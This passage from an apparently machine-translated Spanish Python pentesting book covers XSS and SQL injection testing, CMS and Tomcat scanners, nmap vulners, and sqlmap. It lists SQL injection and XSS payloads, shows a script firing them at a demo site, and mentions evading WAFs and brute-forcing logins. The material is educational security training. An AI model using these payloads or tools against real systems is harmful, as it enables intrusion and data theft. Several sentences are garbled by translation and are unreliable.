version for the right syntax to use near '' at line 1 Warning:
mysql_fetch_array() expects parameter 1 to be
resource,boolean given in /hj/var/www/listproducts.php on line
74'.
A continuación, estamosVoy a solicitar el mismo sitio web con
cargas útiles XSS específicas utilizando el catparámetro
vulnerable que se encuentra en la cadena de consulta en la
URL:
$ sudo python3 testing_xss_payloads.py
site vulnerable to sql injection
The parameter is vulnerable
Payload string: <SCRIPT>alert('XSS');</SCRIPT>
...
En la salida parcial anterior, se establece que el catparámetro
es vulnerable a la <SCRIPT>alert('XSS');</SCRIPT>carga útil.
En este punto, podemos destacar que ambas vulnerabilidades
buscan explotar entradas no validadas ni filtradas por el
usuario.
Otra forma de comprobar si un sitio web puede estar afectado
por esta vulnerabilidad es utilizar herramientas automatizadas
como PwnXSS.
PwnXSS ( https://github.com/pwn0sec/PwnXSS ) es una
herramienta gratuita y de código abierto disponible en GitHub,
diseñada específicamente para detectar vulnerabilidades de
scripts entre sitios en un sitio web. Podemos descargar la
herramienta y otorgar permisos con los siguientes comandos:
$ git clone https://github.com/pwn0sec/PwnXSS
$ chmod 755 -R PwnXSS
Puede utilizar el siguiente comando para ver el índice de ayuda
de la herramienta.
$ python3 pwnxss.py --help
usage: PwnXSS -u <target> [options]
Options:
--help Show usage and help parameters
-u Target url (e.g. http://testphp.vulnweb.com)
--depth Depth web page to crawl. Default: 2
--payload-level Level for payload Generator, 7 for custom
payload. {1...6}. Default: 6
--payload Load custom payload directly (e.g.
<script>alert(2005)</script>)
--method Method setting(s):
0: GET
1: POST
2: GET and POST (default)
--user-agent Request user agent (e.g. Chrome/2.1.1/...)
--single Single scan. No crawling just one address
--proxy Set proxy (e.g.
{'https':'https://10.10.1.10:1080'})
--about Print information about PwnXSS tool
--cookie Set cookie (e.g {'ID':'1094200543'})
Github: https://www.github.com/pwn0sec/PwnXSS
$ python3 pwnxss.py -u http://testphp.vulnweb.com
[14:13:39] [INFO] Starting PwnXSS...
***************
[14:13:39] [INFO] Checking connection to:
http://testphp.vulnweb.com
[14:13:39] [INFO] Connection estabilished 200
[14:13:39] [WARNING] Target have form with POST method:
http://testphp.vulnweb.com/search.php?test=query
[14:13:39] [INFO] Collecting form input key.....
[14:13:39] [INFO] Form key name: searchFor value:
<script>console.log(5000/3000)</script>
[14:13:39] [INFO] Form key name: goButton value: <Submit
Confirm>
[14:13:39] [INFO] Sending payload (POST) method...
[14:13:39] [CRITICAL] Detected XSS (POST) at
http://testphp.vulnweb.com/search.php?test=query
[14:13:39] [CRITICAL] Post data: {'searchFor':
'<script>console.log(5000/3000)</script>', 'goButton':
'goButton'}
El anteriorLa herramienta comienza a buscar vulnerabilidades
de secuencias de comandos entre sitios y continúa verificando
el sitio web cuando encuentra un sitio web vulnerable,
mostrando la información en la terminal.
Una vez realizado este análisis, podemos concluir que los
componentes de JavaScript que no validan correctamente la
entrada del usuario son uno de los objetivos más fáciles para
los atacantes para obtener información del usuario.
Ahora que hemos analizado la vulnerabilidad XSS en detalle,
vamos a revisar cómo descubrir vulnerabilidades en
aplicaciones web CMS específicamente.
Análisis y descubrimiento de vulnerabilidades en aplicaciones
web CMS
En esteEn esta sección, cubriremos algunas de las
herramientas que se pueden utilizar para descubrir
vulnerabilidades en la web de CMS.aplicaciones como
WordPress y Joomla.
Por ejemplo, podría interesarnos determinar el tipo de CMS, así
como las vulnerabilidades a nivel de interfaz administrativa en
relación con los usuarios y grupos configurados.
Los CMS se han convertido en un objetivo especialmente
tentador para los atacantes debido a su crecimiento y gran
presencia en Internet.
La facilidad con la que se puede crear un sitio web sin
conocimientos técnicos lleva a muchas empresas y particulares
a utilizar aplicaciones con numerosas vulnerabilidades debido
al uso de plugins obsoletos y configuraciones deficientes en el
servidor donde se alojan. Los CMS también incluyen plugins de
terceros para facilitar tareas como el inicio de sesión, la gestión
de sesiones y las búsquedas, y algunos incluyen módulos de
carrito de compra. El principal problema es que, generalmente,
podemos encontrar problemas de seguridad relacionados con
estos plugins.
Por ejemplo, los sitios web de WordPress suelen ser
administrados por usuarios que no son expertos en seguridad y
no suelen actualizar sus módulos y complementos de
WordPress, lo que convierte a estos sitios en un objetivo
atractivo para los atacantes.
Además de contar con una versión actualizada de WordPress y
plugins de funcionalidades de terceros, la configuración del
servidor web que aloja la aplicación es igual de importante
para garantizar la seguridad de la web frente a atacantes.
Hemos visto lo vulnerables que pueden ser las aplicaciones
web CMS. Ahora, revisaremos las principales herramientas para
detectar vulnerabilidades en ellas.
Usando CMSmap
Uno de losLos escáneres de vulnerabilidad más populares
paraLas aplicaciones CMS
son CMSmap ( https://github.com/Dionach/CMSmap ).
EstoEsta herramienta es un escáner de Python de código
abierto que automatiza la detección de problemas de
seguridad en los CMS más populares. También utiliza la base de
datos de exploits ( https://www.exploit-db.com ) para
buscar vulnerabilidades en los complementos compatibles con
CMS.
Esteherramientatiene la capacidad de identificar el número de
versión del CMS en sitios de WordPress y detectar
vulnerabilidades conocidas en los complementos instalados y
luego compararlos con una base de datos para identificar
posibles riesgos de seguridad.
Podemos descargar la herramienta y ejecutar el comando
desde cualquier lugar de nuestro sistema con los siguientes
comandos:
$ git clone https://github.com/Dionach/CMSmap
$ cd CMSmap
$ pip install .
Por ejemplo, podríamos ejecutar un análisis completo de un
sitio web que ejecuta el CMS WordPress:
$ python cmsmap.py -F http://www.wordpress.com
[I] Threads: 5
[-] Target: http://www.wordpress.com (192.0.78.12)
[M] Website Not in HTTPS: http://www.wordpress.com
[I] Server: nginx
[L] X-Frame-Options: Not Enforced
[I] X-Content-Security-Policy: Not Enforced
[I] X-Content-Type-Options: Not Enforced
[L] Robots.txt Found: http://www.wordpress.com/robots.txt
[I] CMS Detection: WordPress
[I] WordPress Theme: h4
[M] EDB-ID: 11458 'WordPress Plugin Copperleaf Photolog 0.16
- SQL Injection'
[M] EDB-ID: 39536 'WordPress Theme SiteMile Project 2.0.9.5 -
Multiple Vulnerabilities'
...
En la salida anterior, podemos ver cómo CMSmapmuestra las
vulnerabilidades detectadas, precedidas por un indicador de
gravedad: [I]informativa, [L]baja, [M]media y [H]alta. Por lo
tanto, el script detecta los archivos de WordPress por defecto y
busca directorios específicos:
[-] Default WordPress Files:
[I]
http://www.wordpress.com/wp-content/themes/twentyten/licens
e.txt
[I]
http://www.wordpress.com/wp-content/themes/twentyten/read
me.txt
[I]
http://www.wordpress.com/wp-includes/ID3/license.commercial.
txt
[I] http://www.wordpress.com/wp-includes/ID3/license.txt
[I] http://www.wordpress.com/wp-includes/ID3/readme.txt
[I]
http://www.wordpress.com/wp-includes/images/crystal/license.t
xt
[I]
http://www.wordpress.com/wp-includes/js/plupload/license.txt
[I] http://www.wordpress.com/wp-includes/js/tinymce/license.txt
[-] Checking interesting directories/files ...
[L] http://www.wordpress.com/help.txt
[L] http://www.wordpress.com/menu.txt
....
El -aparámetro deCMSmap nos permitirá especificar un agente
de usuario personalizado:
$ python3 cmsmap.py -a 'user_agent' <domain>
El usuarioLa opción de agente puede ser interesante si el sitio
web que estamos analizando está detrás de un Firewall de
Aplicaciones Web ( WAF ) queBloquea las aplicaciones de
escaneo de CMS. La idea tras definir un agente de usuario
personalizado es evitar que el WAF bloquee las solicitudes,
haciéndole creer que provienen de un navegador específico.
Además de detectar vulnerabilidades, CMSmap puede listar los
plugins instalados en un sitio web específico, así como ejecutar
un ataque de fuerza bruta utilizando un archivo de nombre de
usuario y contraseña. Para esta tarea, podríamos usar las
siguientes opciones:
Brute-Force:
-u , --usr username or username file
-p , --psw password or password file
-x, --noxmlrpc brute forcing WordPress without XML-RPC
Con esta herramienta hemos visto cómo podemos ejecutar la
etapa inicial de un proceso de pentesting para obtener una
visión global de la seguridad del sitio que estamos analizando.
Dentro del ecosistema Python, encontramos otras herramientas
que funcionan de forma similar. Algunas se especializan en
analizar sitios web basados en tecnologías CMS, entre las que
destaca Vulnx.
Vulnx como escáner de CMS
Vulnx ( https://github.com/anouarbensaad/vulnx ) es
unaInyector de carcasa automático inteligenteherramienta
quetiene la capacidad de detectar y explotar
vulnerabilidadesen múltiples tipos de CMS, como WordPress,
Joomla y Drupal.
Podemos descargar la herramienta y dar permisos con los
siguientes comandos:
$ git clone https://github.com/anouarbensaad/vulnx
$ chmod 755 -R vulnxInstead of injecting a shell manually like
all the other tools do, Vulnx analyses the target website
checking the presence of vulnerabilities using dorks.$ python
vulnx.py -h
usage: vulnx.py [-h] [-u URL] [-D DORKS] [-o OUTPUT] [-n
NUMBERPAGE] [-i INPUT_FILE] [-l
{wordpress,prestashop,joomla,lokomedia,drupal,all}]
[-p SCANPORTS] [-e] [--it] [--cms] [-w] [-d] [--dns]
OPTIONS:
-h, --help show this help message and exit
-u URL, --url URL url target to scan
-D DORKS, --dorks DORKS
search webs with dorks
-o OUTPUT, --output OUTPUT
specify output directory
-n NUMBERPAGE, --number-pages NUMBERPAGE
search dorks number page limit
-i INPUT_FILE, --input INPUT_FILE
specify input file of domains to scan
-l {wordpress,prestashop,joomla,lokomedia,drupal,all}, --dork-
list {wordpress,prestashop,joomla,lokomedia,drupal,all}
list names of dorks exploits
-p SCANPORTS, --ports SCANPORTS
ports to scan
-e, --exploit searching vulnerability & run exploits
--it interactive mode.
--cms search cms
info[themes,plugins,user,version..]
-w, --web-info web informations gathering
-d, --domain-info subdomains informations gathering
--dns dns informations gatherings
Con elSiguiendo el comando, podemos obtener información y
escanear un sitio web.
$ python vulnx.py --cms -w -d --exploit -u <domain>
Ahora que hemos analizado las principales herramientas para
descubrir vulnerabilidades en aplicaciones web CMS, vamos a
revisar cómo descubrir vulnerabilidades en aplicaciones de
servidor Tomcat.
Descubrimiento de vulnerabilidades en aplicaciones de servidor
Tomcat
En esta sección, nosotrosAprenderá cómo instalar el servidor
Apache Tomcat y probar la instalación del servidor con
la ApacheTomcatScannerherramienta.
Instalación del servidor Tomcat
Apache Tomcat esUn contenedor de servlets utilizado como
implementación de referencia del servlet de
Java.y tecnologías Java Server Pages ( JSP ). En primer
lugar,verificar que tenemos Java instalado en nuestro
ordenador.
$ java -version
openjdk version "11.0.15" 2022-04-19
OpenJDK Runtime Environment (build 11.0.15+10)
OpenJDK 64-Bit Server VM (build 11.0.15+10, mixed mode)
Tras obtener el JDK, puede descargar la última versión desde el
sitio oficial del
proyecto: https://tomcat.apache.org/download-10.cgi .
Ahora puede extraer el Tomcat descargado con el siguiente
comando:
$ tar xvzf apache-tomcat-10.0.27.tar.gz
Ahora, puedes iniciar el servidor Tomcat ejecutando el siguiente
script ubicado en la carpeta creada con la extracción anterior
del tar.gzarchivo.
$ ./startup.sh
Using CATALINA_BASE: /home/linux/Downloads/apache-
tomcat-10.0.27
Using CATALINA_HOME: /home/linux/ Downloads /apache-
tomcat-10.0.27
Using CATALINA_TMPDIR: /home/linux/ Downloads /apache-
tomcat-10.0.27/temp
Using JRE_HOME: /usr
Using CLASSPATH: /home/linux/ Downloads /apache-tomcat-
10.0.27/bin/bootstrap.jar:/home/linux/Descargas/apache-
tomcat-10.0.27/bin/tomcat-juli.jar
Using CATALINA_OPTS:
Tomcat started.
Puedes observar elEl servidor Tomcat se ha iniciado. Después,
puede acceder a la interfaz web de Tomcat usando
la http://localhost:8080dirección de su navegador.
Prueba del servidor Tomcat con ApacheTomcatScanner
Una vez que elUna vez finalizada la instalación del servidor,
podemos analizar su seguridad con herramientas como
ApacheTomcatScanner. Este es un script de Python para
detectar vulnerabilidades en el servidor Apache Tomcat.
Puedes descargar el código fuente del repositorio de
GitHub: https://github.com/p0dalirius/ApacheTomcatScan
ner . También puedes instalarlo desde PyPI con el siguiente
comando:
$ python3 -m pip install apachetomcatscanner
Con la -hopción podremos ver las opciones que nos ofrece la
herramienta.
$ python ApacheTomcatScanner.py -h
Apache Tomcat Scanner v2.3.2 - by @podalirius_
usage: ApacheTomcatScanner.py [-h] [-v] [--debug] [-C] [-T
THREADS] [-s] [--only-http] [--only-https] [--no-check-
certificate] [--xlsx XLSX] [--json JSON] [-PI PROXY_IP] [-PP
PROXY_PORT] [-rt REQUEST_TIMEOUT] [-tf TARGETS_FILE]
[-tt TARGET] [-tp TARGET_PORTS] [-ad
AUTH_DOMAIN] [-ai AUTH_DC_IP] [-au AUTH_USER] [-ap
AUTH_PASSWORD] [-ah AUTH_HASH]
A python script to scan for Apache Tomcat server
vulnerabilities.
optional arguments:
-h, --help show this help message and exit
-v, --verbose Verbose mode. (default: False)
--debug Debug mode, for huge verbosity. (default:
False)
-C, --list-cves List CVE ids affecting each version found.
(default: False)
-T THREADS, --threads THREADS
Number of threads (default: 5)
-s, --servers-only If querying ActiveDirectory, only get
servers and not all computer objects. (default: False)
--only-http Scan only with HTTP scheme. (default: False,
scanning with both HTTP and HTTPs)
--only-https Scan only with HTTPs scheme. (default:
False, scanning with both HTTP and HTTPs)
A continuación, podemosejecutar el script que nos permite
analizar la seguridad del servidor Tomcat con la posibilidad de
listar los CVE con la --list-cvesopción:
$ python ApacheTomcatScanner.py -v -tt 127.0.0.1 -tp 8080 --
list-cves
Apache Tomcat Scanner v3.0 - by @podalirius_
[+] Targeting 1 ports on 1 targets
[+] Searching for Apache Tomcats servers on specified
targets ...
[2023/02/21 22h18m53s] Status (0/1) 0.00 % | Rate 0 tests/s
[>] [Apache Tomcat/10.0.27] on 127.0.0.1:8080
(manager:accessible)
| Valid user: both | password:tomcat | Default account in
configuration, with roles="tomcat,role1"
| Valid user: role1 | password:tomcat | Default account in
configuration, with roles="role1"
[+] All done!
En la salida de la ejecución del script, vemos cómo detecta la
versión del servidor Apache Tomcat y, cuando el administrador
está disponible, puede obtener los usuarios y contraseñas
predeterminados para acceder al servidor. En este punto, se
recomienda revisar la configuración del servidor que se
encuentra en la ruta apache-tomcat-10.0.27/confy modificar los
usuarios y contraseñas predeterminados para evitar exponer el
servidor a posibles atacantes.
Continuaremos con el proceso de búsqueda de servidores
Tomcat vulnerables utilizando otras herramientas y técnicas.
Cómo encontrar servidores Tomcat vulnerables en el
motor de búsqueda de Censys
Uno de losLa forma más rápida de obtener las vulnerabilidades
de un servidor como Tomcat es usar la base de datos de
vulnerabilidades CVE. Con el siguiente servicio, podemos
buscar vulnerabilidades que afecten a este servidor:
https://cve.mitre.org/cgi-bin/cvekey.cgi?
keyword=apache+tomcat
Figura 10.4: Registros CVE para el servidor Apache Tomcat
Como podamosComo se puede ver en la captura de pantalla
anterior, CVE-2022-45143 es una vulnerabilidad de seguridad
que afecta a ciertas versiones del contenedor de servlets
Apache Tomcat. Esta vulnerabilidad está relacionada con la
forma en que la JsonErrorReportValveclase del contenedor
Tomcat procesa los datos JSON. Un atacante podría explotar
esta vulnerabilidad enviando una solicitud JSON especialmente
diseñada a un servidor Tomcat vulnerable.
Esto podría permitir al atacante ejecutar código arbitrario en el
servidor, lo que podría comprometer por completo el sistema.
Esta vulnerabilidad afecta a las versiones 8.5.83, 9.0.40 a
9.0.68 y 10.1.0-M1 a 10.1.1 de Apache Tomcat. Puede obtener
más información sobre esta vulnerabilidad en la base de datos
de NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-
45143 .
También podemos usar el motor de búsqueda Censys
( https://search.censys.io ), que nos permite realizar
búsquedas para obtener información sobre hosts y servidores
disponibles en internet. Por ejemplo, podríamos usar esta
herramienta para identificar un servidor Tomcat que pueda ser
vulnerable.
Si realizamos la consulta Apache Tomcat 8.5.83 , el servicio
Censys devuelve los siguientes resultados, donde podemos
destacar la sección Hosts :
Figura 10.5: Resultados de Censys para la consulta de Apache
Tomcat
Una vez que nosotroshemos buscado máquinas que tengan
esta versión de Apache Tomcat, podríamos usar nmap y Python
para comprobar si este servidor tiene alguna de las
vulnerabilidades más críticas que podamos encontrar para este
servidor.
Escaneo de vulnerabilidades con el escáner de puertos
Nmap
NmapProporciona un script específico que detecta eficazmente
servidores vulnerables. El script es...Disponible en el siguiente
repositorio: https://github.com/vulnersCom/nmap-vulners
. El código fuenteEl código está disponible
en https://github.com/vulnersCom/nmap-vulners/blob/ma
ster/vulners.nse .
Puede ejecutar el siguiente comando en el puerto 8080para
descubrir vulnerabilidades en el servidor Tomcat:
$ nmap -sV --script=vulners -v -p 8080 -oX results.xml
<ip_address>
Solo necesita agregar la dirección IP de su sitio objetivo. Si el
objetivo que analiza es vulnerable a un CVE específico, verá el
siguiente resultado:
PORT STATE SERVICE VERSION
8080/tcp open http Apache Tomcat 8.5.83
| vulners:
| cpe:/a:apache:tomcat:8.5.83:
| TOMCAT:0DBA25EA40A6FEBF5FD9039D7F60718E 10.0
https://vulners.com/tomcat/TOMCAT:0DBA25EA40A6FEBF5FD90
39D7F60718E
| SSV:92553 10.0 https://vulners.com/seebug/SSV:92553
*EXPLOIT*
| TOMCAT:E4520A0C2F785FBF22985309FA3E3B08 9.3
https://vulners.com/tomcat/TOMCAT:E4520A0C2F785FBF22985
309FA3E3B08
| PACKETSTORM:153506 9.3
https://vulners.com/packetstorm/PACKETSTORM:153506
*EXPLOIT*
....
| MSF:EXPLOIT-WINDOWS-HTTP-TOMCAT_CGI_CMDLINEARGS-
0.0 https://vulners.com/metasploit/MSF:EXPLOIT-
WINDOWS-HTTP-TOMCAT_CGI_CMDLINEARGS- *EXPLOIT*
| CVE-2022-45143 0.0 https://vulners.com/cve/CVE-
2022-45143
|_ CVE-2022-42252 0.0 https://vulners.com/cve/CVE-
2022-42252
Lo anteriorEl comando genera un archivo
llamado results.xmlque contiene el resultado de la ejecución.
Una vezHemos ejecutado el comando anterior, podemos
procesar el results.xmlarchivo generado que contieneLas
vulnerabilidades detectadas. Para ello, podemos usar
el python-libnmapmódulo ( https://pypi.org/project/python-
libnmap ), que permite procesar el results.xmlarchivo y
obtener la salida de cada uno de los servicios analizados.
Podemos instalar este módulo con el siguiente comando:
$ pip install python-libnmap
Una vez instalado este módulo, podemos automatizar el
proceso de obtención de vulnerabilidades con el siguiente
script. Puede encontrar el siguiente código en
el nmap_parser.pyarchivo:
from libnmap.parser import NmapParser
p = NmapParser.parse_fromfile("results.xml")
for host in p.hosts:
for svc in host.services:
for script in svc.scripts_results:
output = script.get("output")
print(output)
Al ejecutar el comando anterior, en la salida podemos ver
referencias a las vulnerabilidades y exploits encontrados.
$ python nmap_parser.py
cpe:/a:apache:tomcat:8.5.83:
TOMCAT:0DBA25EA40A6FEBF5FD9039D7F60718E 10.0
https://vulners.com/tomcat/TOMCAT:0DBA25EA40A6FEBF5FD90
39D7F60718E
SSV:92553 10.0 https://vulners.com/seebug/SSV:92553
*EXPLOIT*
TOMCAT:E4520A0C2F785FBF22985309FA3E3B08 9.3
https://vulners.com/tomcat/TOMCAT:E4520A0C2F785FBF22985
309FA3E3B08
PACKETSTORM:153506 9.3
https://vulners.com/packetstorm/PACKETSTORM:153506
*EXPLOIT*
F3523D8D-36CF-530B-85DD-013275F7D552 9.3
https://vulners.com/githubexploit/F3523D8D-36CF-530B-85DD-
013275F7D552 *EXPLOIT*
EDB-ID:47073 9.3 https://vulners.com/exploitdb/EDB-
ID:47073 *EXPLOIT*
DB8D8364-06FB-55E8-934E-C013B00821B5 9.3
https://vulners.com/githubexploit/DB8D8364-06FB-55E8-934E-
C013B00821B5 *EXPLOIT*
C9BC03B4-078B-5F3C-815A-98E0F8AAA33B 9.3
https://vulners.com/githubexploit/C9BC03B4-078B-5F3C-815A-
98E0F8AAA33B *EXPLOIT*
3A26C086-A741-585B-8FA9-F90780E2CA16 9.3
https://vulners.com/githubexploit/3A26C086-A741-585B-8FA9-
F90780E2CA16 *EXPLOIT*
24B7AC9D-6C5E-545B-97E4-F20711FFCF8F 9.3
https://vulners.com/githubexploit/24B7AC9D-6C5E-545B-97E4-
F20711FFCF8F *EXPLOIT*
1337DAY-ID-32925 9.3 https://vulners.com/zdt/1337DAY-
ID-32925 *EXPLOIT*
TOMCAT:7E8B1837DB1B24489FB7CEAE24C18E30 7.8
https://vulners.com/tomcat/TOMCAT:7E8B1837DB1B24489FB7C
EAE24C18E30
Ahora quenosotrostenerDespués de analizar la principal
herramienta para descubrir vulnerabilidades en el servidor
Tomcat, vamos a revisar cómo descubrir vulnerabilidades SQL
con herramientas Python como sqlmap.
Descubrimiento de vulnerabilidades de SQL con herramientas
de Python
En esteEn esta sección, aprenderemos cómo probar si un sitio
web es vulnerable a la inyección SQL utilizando
la sqlmapherramienta de prueba de penetración como una
herramienta automatizada para encontrar y explotar
vulnerabilidades de inyección SQL que inyectan valores en los
parámetros de consulta.
Introducción a la inyección SQL
Antes de definirEn cuanto al ataque de inyección SQL, es
importante conocer sus orígenes. SQL es un lenguaje
declarativo de acceso a bases de datos que permite consultar,
insertar y modificar información. Su simplicidad lo ha
convertido en el lenguaje de acceso a bases de datos más
utilizado en la actualidad. El contexto de un ataque de
inyección SQL es el siguiente:
1. Una aplicación consulta una base de datos utilizando SQL.
2. La aplicación recibe datos de una fuente desconocida.
3. La aplicación ejecuta consultas a la base de datos
dinámicamente.
Un ataque de inyección SQL ocurre cuando un valor de la
solicitud del cliente se utiliza en una consulta SQL sin una
limpieza previa. Si trabajamos como desarrolladores web y no
validamos las entradas del código, sino que nos basamos en
los datos proporcionados por los usuarios, los atacantes
pueden extraer información de bases de datos, manipular
datos o tomar el control del servidor.
La inyección ocurre cuando la entrada del usuario se envía a un
intérprete como parte de un comando o consulta y engaña al
intérprete para que ejecute comandos no deseados y
proporcione acceso a datos no autorizados.
Un ataque de inyección SQL se habilita debido a la mala
gestión de los datos recibidos para la consulta. El origen de
este ataque reside en la capacidad del sistema para interpretar
los datos recibidos como código ejecutable. Imaginemos un
sistema de autenticación PHP que utiliza una base de datos
MySQL donde el usuario introduce su nombre de usuario y
contraseña. La aplicación recibe ambos parámetros y ejecuta la
siguiente consulta SQL:
SELECT count(*) FROM users WHERE user='$user' AND
password='$password';
Donde '$user'y '$password'son datos enviados por un usuario.
La consulta anterior validará el usuario y la contraseña en la
base de datos y comprobará si devuelve un número mayor que
cero (la consulta cuenta todas las filas que cumplen
la WHEREcondición en la userstabla). Imaginemos que un
usuario malintencionado envía $user='user'y $password= ' OR
'1'='1. La consulta sería similar a esta:
SELECT count(*) FROM users WHERE user='user' AND
password=' ' OR '1'='1';
El intérprete de SQL analiza la sentencia anterior, donde hay
dos condiciones separadas por una ORcláusula. La primera
condición no se cumplirá, pero la segunda siempre se cumplirá
( 1=1). En este punto, la consulta devolverá el número de
usuarios en la tabla, ya que la condición se cumple en todas las
filas. Como el número es mayor que 0, un atacante podría
acceder al sistema.
De esta manera, la inyección SQLLas vulnerabilidades permiten
a los atacantes modificar la estructura de las consultas SQL, lo
que facilita la exfiltración de datos o la manipulación de datos
existentes. A continuación, analizaremos técnicas y
herramientas para identificar sitios vulnerables a la inyección
SQL.
Identificación de sitios web vulnerables a la inyección
SQL
Un simpleUna forma de identificar sitios web con una
vulnerabilidad de inyección SQL es añadir caracteres a la URL,
como comillas, comas o puntos. Por ejemplo, si descubre una
URL con un sitio PHP que utiliza un parámetro para una
búsqueda específica, puede intentar añadir un carácter
especial a ese parámetro.
Si observa la
URL http://testphp.vulnweb.com/listproducts.php?cat=1 ,
se muestran todos los productos, no solo uno con un ID
específico. Esto podría indicar que el catparámetro podría ser
vulnerable a una inyección SQL y que un atacante podría
acceder a la información de la base de datos mediante
herramientas específicas.
Para comprobar si un sitio es vulnerable, podemos manipular la
URL de la página agregando ciertos caracteres que podrían
provocar que devuelva un error de la base de datos.
Una prueba sencilla para comprobar si un sitio web es
vulnerable consiste en reemplazar el valor del getparámetro de
solicitud con el carácter '. Por ejemplo, la siguiente URL
devuelve un error relacionado con la base de datos al intentar
usar un vector de ataque como 'o 1=1--sobre el parámetro
vulnerable: http://testphp.vulnweb.com/listproducts.php?
cat=%22%20or%201=1-- .
Figura 10.6: Comprobación de un error de inyección SQL en un
sitio web
Con Python, podemosPodría crear un script que lea posibles
vectores de ataque SQL del sql-attack-vector.txtarchivo de
texto y verifique la salida debido a la inyección de cadenas
específicas. Puede ver los vectores de ataque de inyección SQL
más utilizados en el sql-attack-vector.txtarchivo ubicado en
la sql_injectioncarpeta:
" or "a"="a
" or "x"="x
" or 0=0 #
" or 0=0 --
" or 1=1 or ""="
" or 1=1--
"' or 1 --'"
") or ("a"="a
Puede encontrar un ejemplo de archivo similar en el repositorio
de GitHub del proyecto FuzzDB con cargas útiles de inyección
SQL
específicas: https://github.com/fuzzdb-project/fuzzdb/tree
/master/attack/sql-injection .
El objetivo del siguiente script es partir de una URL donde
identificamos el parámetro vulnerable y combinar la URL
original con estos vectores de ataque. Puede encontrar el
siguiente código en el testing_url_sql_injection.pyarchivo de
la sql_injectioncarpeta:
import requests
url = "http://testphp.vulnweb.com/listproducts.php?cat="
sql_payloads = []
with open('sql-attack-vector.txt', 'r') as filehandle:
for line in filehandle:
sql_payload = line[:-1]
sql_payloads.append(sql_payload)
for payload in sql_payloads:
print ("Testing "+ url + payload)
response = requests.post(url+payload)
if "mysql" in response.text.lower():
print("Injectable MySQL detected,attack string: "+payload)
elif "native client" in response.text.lower():
print("Injectable MSSQL detected,attack string:
"+payload)
elif "syntax error" in response.text.lower():
print("Injectable PostGRES detected,attack string:
"+payload)
elif "ORA" in response.text.lower():
print("Injectable Oracle database detected,attack string:
"+payload)
else:
print("Payload ",payload," not injectable")
En elEn el script anterior, abrimos un archivo que contiene
cargas útiles de inyección SQL y las guardamos en
la sql_payloadsmatriz. Al usar la carga útil en el parámetro URL,
podemos comprobar la presencia de una cadena específica en
la respuesta para verificar esta vulnerabilidad:
$ python3 test_url_sql_injection.py
Testing http://testphp.vulnweb.com/listproducts.php?cat=' or
'a'='a
Injectable MySQL detected,attack string: ' or 'a'='a
Testing http://testphp.vulnweb.com/listproducts.php?cat=' or
'x'='x
Injectable MySQL detected,attack string: ' or 'x'='x
Testing http://testphp.vulnweb.com/listproducts.php?cat=' or
0=0 #
Injectable MySQL detected,attack string: ' or 0=0 #
Testing http://testphp.vulnweb.com/listproducts.php?cat=' or
0=0 --
Injectable MySQL detected,attack string: ' or 0=0 --
...
Al ejecutar el script anterior, observamos que el catparámetro
es vulnerable a diversos ataques de vector. Una de las
herramientas más utilizadas para evaluar las vulnerabilidades
de inyección SQL de un sitio web es sqlmap. Esta herramienta
automatiza el reconocimiento y la explotación de estas
vulnerabilidades en diferentes bases de datos relacionales,
como SQL Server, MySQL, Oracle y PostgreSQL.
Presentación de sqlmap
sqlmap ( https://sqlmap.org ) es unHerramienta desarrollada
en Python para automatizar ataques de inyección SQL.El
objetivo es detectar y explotar vulnerabilidades existentes en
aplicaciones web. Una vez detectadas una o varias posibles
inyecciones, el usuario puede elegir entre diferentes opciones,
entre las que destacan la obtención de usuarios, esquemas,
tablas, hashes de contraseñas, permisos, la ejecución de sus
propias consultas o incluso la obtención de un shell interactivo.
Esta herramienta puede detectar vulnerabilidades de inyección
SQL mediante diversas técnicas, como consultas ciegas
basadas en booleanos, consultas basadas en tiempo, consultas
UNION y consultas apiladas. Además, si detecta una
vulnerabilidad, puede atacar el servidor para descubrir
nombres de tablas, descargar la base de datos y ejecutar
consultas SQL automáticamente. Una vez detectada una
inyección SQL en el host objetivo, puede elegir entre varias
opciones:
Realizar una extensa huella digital del DBMS de backend
Recuperar el usuario y la base de datos de la sesión DBMS
Enumerar usuarios, hashes de contraseñas, privilegios y
bases de datos
Volcar toda la tabla/columnas del DBMS o la
tabla/columnas del DBMS específicas del usuario
Ejecutar sentencias SQL personalizadas
sqlmap viene preinstalado con algunas distribuciones de Linux
orientadas a tareas de seguridad, como Kali Linux
( https://www.kali.org ), queEs una de las distribuciones
preferidas por la mayoría de los auditores de seguridad y
pentesters. También puede instalarla sqlmapen otras
distribuciones basadas en Debian con el siguiente comando:
$ sudo apt-get install sqlmap
Otra forma de instalarlo es descargando el código fuente del
repositorio de GitHub del
proyecto: https://github.com/sqlmapproject/sqlmap .
Primero, revisaremos la función de ayuda de sqlmap para
comprender mejor sus funciones. Puedes consultar el conjunto
de parámetros que se pueden pasar al sqlmap.pyscript con la -
hopción:
$ sqlmap -h
Usage: python sqlmap.py [options]
Options:
-h, --help Show basic help message and exit
-hh Show advanced help message and exit
--version Show program's version number and exit
-v VERBOSE Verbosity level: 0-6 (default 1)
Target:
At least one of these options has to be provided to define the
target(s)
-u URL, --url=URL Target URL (e.g.
"http://www.site.com/vuln.php?id=1")
-g GOOGLEDORK Process Google dork results as target
URLs
Injection:
These options can be used to specify which parameters to
test for,
provide custom injection payloads and optional tampering
scripts
-p TESTPARAMETER Testable parameter(s)
--dbms=DBMS Force back-end DBMS to provided value
Detection:
These options can be used to customize the detection phase
--level=LEVEL Level of tests to perform (1-5, default 1)
--risk=RISK Risk of tests to perform (1-3, default 1)
Techniques:
These options can be used to tweak testing of specific SQL
injection
techniques
--technique=TECH.. SQL injection techniques to use (default
"BEUSTQ")
Enumeration:
These options can be used to enumerate the back-end
database
management system information, structure and data
contained in the
tables
-a, --all Retrieve everything
-b, --banner Retrieve DBMS banner
--current-user Retrieve DBMS current user
--current-db Retrieve DBMS current database
--passwords Enumerate DBMS users password hashes
--tables Enumerate DBMS database tables
--columns Enumerate DBMS database table columns
--schema Enumerate DBMS schema
--dump Dump DBMS database table entries
--dump-all Dump all DBMS databases tables entries
-D DB DBMS database to enumerate
-T TBL DBMS database table(s) to enumerate
-C COL DBMS database table column(s) to
enumerate
A continuación, cubriremosCómo usar sqlmap para probar y
explotar la inyección SQL.
Uso de sqlmap para probar un sitio web en busca de una
vulnerabilidad de inyección SQL
En ordenPara obtener toda la información sobre una base de
datos vulnerable a inyección SQL, vamos a analizar los
principales comandos que podemos ejecutar con sqlmap.
Primero, usamos el -uparámetro para ingresar la URL del sitio
que vamos a analizar. Para ello, podemos usar el siguiente
comando:
$ sqlmap -u "http://testphp.vulnweb.com/listproducts.php?
cat=1"
